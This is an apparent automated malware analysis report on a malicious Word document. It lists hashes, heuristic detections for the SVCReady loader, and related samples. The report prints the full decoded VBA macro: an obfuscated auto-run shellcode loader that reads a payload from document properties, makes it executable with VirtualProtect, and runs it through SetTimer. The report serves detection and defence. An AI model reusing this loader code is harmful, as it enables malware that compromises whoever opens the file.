Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 f0b819433319a936…

MALICIOUS

Office (OOXML) / .DOC

2.62 MB Created: 2022-06-16 21:38:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-06-17
MD5: 81febabf460639ca1aab064221d42164 SHA-1: de7690f40cac86d1251b21912558c54c8ff2e7d6 SHA-256: f0b819433319a936c3b1e4fe4747fef8081ad827b7d20db5d41856f00c147b18
310 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: word/HPZOSWwTSX.bin)
  • VBA property-stored shellcode loader critical OLE_VBA_PROPERTY_SHELLCODE_LOADER
    VBA auto-exec macro takes the address (VarPtr) of a byte buffer decoded from a document property, marks memory executable (VirtualProtect/VirtualAlloc), and transfers control through a callback API (e.g. SetTimer/EnumWindows). The payload is hidden in the document properties rather than the macro source — the SVCReady loader pattern, a native shellcode runner rather than a parser CVE.
    Matched line in script
    Private Declare PtrSafe Function DiarrhealNonadapting Lib "user32" Alias "SetTimer" (ByVal TrifletDebasers As LongPtr, ByVal MetalisedPithyUnrepulsable As LongPtr, ByVal BurrockIrresuscitable As LongPtr, ByVal ClipsomeChuse As LongPtr) As LongPtr
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    GetObject(Pjzz50h("avSJWKl")).Environment(Pjzz50h("fdQRRUgetu"))(Pjzz50h("eBpufahusk")) = ActiveDocument.FullName
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    GetObject(Pjzz50h("avSJWKl")).Environment(Pjzz50h("fdQRRUgetu"))(Pjzz50h("eBpufahusk")) = ActiveDocument.FullName
  • VBA reads reversed config from document properties high OLE_VBA_REVERSED_DOCPROP_CONFIG
    VBA applies StrReverse to values read from the document's custom/built-in properties. Storing reversed configuration (URLs, CLSIDs, env-var names, payload names) in document properties keeps indicators out of the macro source — an obfuscation technique used by the SVCReady loader.
    Matched line in script
    Pjzz50h = StrReverse(ActiveDocument.CustomDocumentProperties(strInput))
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • OOXML part with non-standard content type and high-entropy data high OOXML_BOGUS_CUSTOM_PART
    The package declares a part with an invented content type (not an OpenXML/Office/standard media type) holding large, high-entropy (likely encrypted/packed) data. Legitimate OOXML files do not carry opaque binary blobs under custom content types; this is the embedded next-stage payload pattern used by loaders such as SVCReady.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

  • 58 17f0487ceadb25c4d72e3861ab850c601ac0c4c09a54b103c9074ca86014f4f0 MALICIOUS Office (OOXML) risk 310
    • Same heuristic fingerprint
    • Shared heuristic rule: OLE_VBA_PROPERTY_SHELLCODE_LOADER
    • Shared heuristic rule: OLE_VBA_REVERSED_DOCPROP_CONFIG
    • Shared heuristic rule: OOXML_BOGUS_CUSTOM_PART
    • Shared heuristic rule: OOXML_VBA_PROJECT_RENAMED
  • 58 b0bcd7832ba41443eac0002c7f2f0037d8293f8aa383ba284654414830cd1d4c MALICIOUS Office (OOXML) risk 310
    • Same heuristic fingerprint
    • Shared heuristic rule: OLE_VBA_PROPERTY_SHELLCODE_LOADER
    • Shared heuristic rule: OLE_VBA_REVERSED_DOCPROP_CONFIG
    • Shared heuristic rule: OOXML_BOGUS_CUSTOM_PART
    • Shared heuristic rule: OOXML_VBA_PROJECT_RENAMED
  • 58 c71fa657d1264aeab2d3f657edc70a4455893d1cf7f3502adb7c7d4ca8e9335e MALICIOUS Office (OOXML) risk 310
    • Same heuristic fingerprint
    • Shared heuristic rule: OLE_VBA_PROPERTY_SHELLCODE_LOADER
    • Shared heuristic rule: OLE_VBA_REVERSED_DOCPROP_CONFIG
    • Shared heuristic rule: OOXML_BOGUS_CUSTOM_PART
    • Shared heuristic rule: OOXML_VBA_PROJECT_RENAMED
  • 58 f62b3b300e5499695892415e43d7a6e536671a9a9e1f8cf6a5f5b240f0c5084c MALICIOUS Office (OOXML) risk 310
    • Same heuristic fingerprint
    • Shared heuristic rule: OLE_VBA_PROPERTY_SHELLCODE_LOADER
    • Shared heuristic rule: OLE_VBA_REVERSED_DOCPROP_CONFIG
    • Shared heuristic rule: OOXML_BOGUS_CUSTOM_PART
    • Shared heuristic rule: OOXML_VBA_PROJECT_RENAMED

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4914 bytes
SHA-256: 9c17266fb69db2d4d8e0b9047f994d766924c1cdcb41ac7fa4671f10571e5dc5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function DiarrhealNonadapting Lib "user32" Alias "SetTimer" (ByVal TrifletDebasers As LongPtr, ByVal MetalisedPithyUnrepulsable As LongPtr, ByVal BurrockIrresuscitable As LongPtr, ByVal ClipsomeChuse As LongPtr) As LongPtr
Private Declare PtrSafe Function CincturesWintergreensLactometer Lib "kernel32" Alias "VirtualProtect" (ByVal TutelarsTidiedWheelbarrows As LongPtr, ByVal WhittrickDiligentAlliaceae As LongPtr, ByVal IncarcerativeOutridersFrosty As LongPtr, DisenthralmentUpclimbZelator As LongPtr) As LongPtr
Private Declare PtrSafe Function FlybeltKebbiesMarmarization Lib "user32" Alias "KillTimer" (ByVal BesnareGhosted As LongPtr, ByVal CholinesteraseRibosePulviniform As LongPtr) As LongPtr
#Else
Private Declare Function DiarrhealNonadapting Lib "user32" Alias "SetTimer" ( ByVal ChordataAzeotropism As Long, ByVal PuppetlikeAntepagmentsReinsurer As Long, ByVal NaigieSylph As Long, ByVal PoliorceticIrvingPenna As Any) As Long
Private Declare Function CincturesWintergreensLactometer Lib "kernel32" Alias "VirtualProtect"  (ByVal PatricianismMelittologyAntrorse As Long, ByVal CibolsOgcocephalidaeAmmonites As Long, ByVal GrisettesGabardineUnpursuant As Long, OverdemandNymphean As Long) As Long
Private Declare Function FlybeltKebbiesMarmarization Lib "user32" Alias "KillTimer" ( ByVal PropagatorsPhilibeg As Long, ByVal CamptodromeBenameCurtainless As Long) As Long
#End If
Private Sub Document_Open()
Dim ShadowgraphicDisserve() As Byte
#If Win64 Then
ShadowgraphicDisserve = OverpromptlyMisapprehensiveness(ActiveDocument.BuiltInDocumentProperties(Pjzz50h("rKkR8TR0qK")).Value)
#Else
ShadowgraphicDisserve = OverpromptlyMisapprehensiveness(ActiveDocument.BuiltInDocumentProperties(Pjzz50h("dG5ik2Sy")).Value)
#End If
#If VBA7 Then
Dim UnintermissionOsteoclastLachrymatory As LongPtr
Dim TreasuryPococuranteismAnnals As LongPtr
Dim SulphoxyphosphateBasques As LongPtr
Dim UndecylenicTonguefishesSinewy As LongPtr
#Else
Dim UnintermissionOsteoclastLachrymatory As Long
Dim TreasuryPococuranteismAnnals As Long
Dim SulphoxyphosphateBasques As Long
Dim UndecylenicTonguefishesSinewy As Long
#End If
TreasuryPococuranteismAnnals = UBound(ShadowgraphicDisserve) + 1
SulphoxyphosphateBasques = VarPtr(ShadowgraphicDisserve(0))
CincturesWintergreensLactometer SulphoxyphosphateBasques, TreasuryPococuranteismAnnals, 64, VarPtr(UnintermissionOsteoclastLachrymatory)
GetObject(Pjzz50h("avSJWKl")).Environment(Pjzz50h("fdQRRUgetu"))(Pjzz50h("eBpufahusk")) = ActiveDocument.FullName
GetObject(Pjzz50h("b2KS1sGKV")).Environment(Pjzz50h("qhZvdgbTgQHQ"))(Pjzz50h("TqK9Ss")) = Pjzz50h("sImZDt3bS")
UndecylenicTonguefishesSinewy = DiarrhealNonadapting(0, SulphoxyphosphateBasques, 1, SulphoxyphosphateBasques)
ProximitiesInterdome 1
FlybeltKebbiesMarmarization 0, UndecylenicTonguefishesSinewy
GetObject(Pjzz50h("txh4p3TZ")).Environment(Pjzz50h("dopTHsioJPD")).Remove (Pjzz50h("zDf28gnjlw"))
GetObject(Pjzz50h("GsDGoeS")).Environment(Pjzz50h("XHUSSQ9XDP9QO")).Remove (Pjzz50h("AKynhr"))
ReDim ShadowgraphicDisserve(1)
End Sub
Sub ProximitiesInterdome(Finish)
Dim MyricylicMyelospasm As Long
Dim RavellingsChaplainNoncommunistically As Long
RavellingsChaplainNoncommunistically = Timer() + (Finish)
Do
MyricylicMyelospasm = Timer()
DoEvents
Loop Until MyricylicMyelospasm > RavellingsChaplainNoncommunistically
End Sub
Function CapuchedPaperiness(UsurpationMashes, PlungesPaleopicrite)
CapuchedPaperiness = Mid(UsurpationMashes, PlungesPaleopicrite + 1, 1)
End Function
Function DelatorScopiped(DrawboresDiplocaulescent) As Long
If Int(Rnd(23)) > 2 Then
DelatorScopiped = 9000
Else
DelatorScopiped = Len(DrawboresDiplocaulescent)
End If
End Function
Public Function Pjzz50h(strInput)
Pjzz50h = StrReverse(ActiveDocument.CustomDocumentProperties(strInput))
End Function
Function OverpromptlyMisapprehensiveness(UnfanaticallyAmaurosisRockfishes)
ReDim BrimfulUnbedaggledFetishes(DelatorScopiped(UnfanaticallyAmaurosisRockfishes) - 1) As Byte
Dim FavusLeptomedusan As Long, PalpablySeptuplets As Long
Dim SenariiCanmaker: SenariiCanmaker = Pjzz50h("ByLwp75_K") & Pjzz50h("CfoDZPBZBl5")
For FavusLeptomedusan = 0 To DelatorScopiped(UnfanaticallyAmaurosisRockfishes) - 1 Step 2
PalpablySeptuplets = FavusLeptomedusan / 2
BrimfulUnbedaggledFetishes(PalpablySeptuplets) = CDec(SenariiCanmaker & CapuchedPaperiness(UnfanaticallyAmaurosisRockfishes, FavusLeptomedusan) & CapuchedPaperiness(UnfanaticallyAmaurosisRockfishes, FavusLeptomedusan + 1))
Next
OverpromptlyMisapprehensiveness = BrimfulUnbedaggledFetishes
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/HPZOSWwTSX.bin 8704 bytes
SHA-256: 1e076771ca7c9e50de4226a4741d92927c7ef27ab9dc89532a301d0f18aa431e

Open this report in the interactive analyzer, or submit your own file for analysis.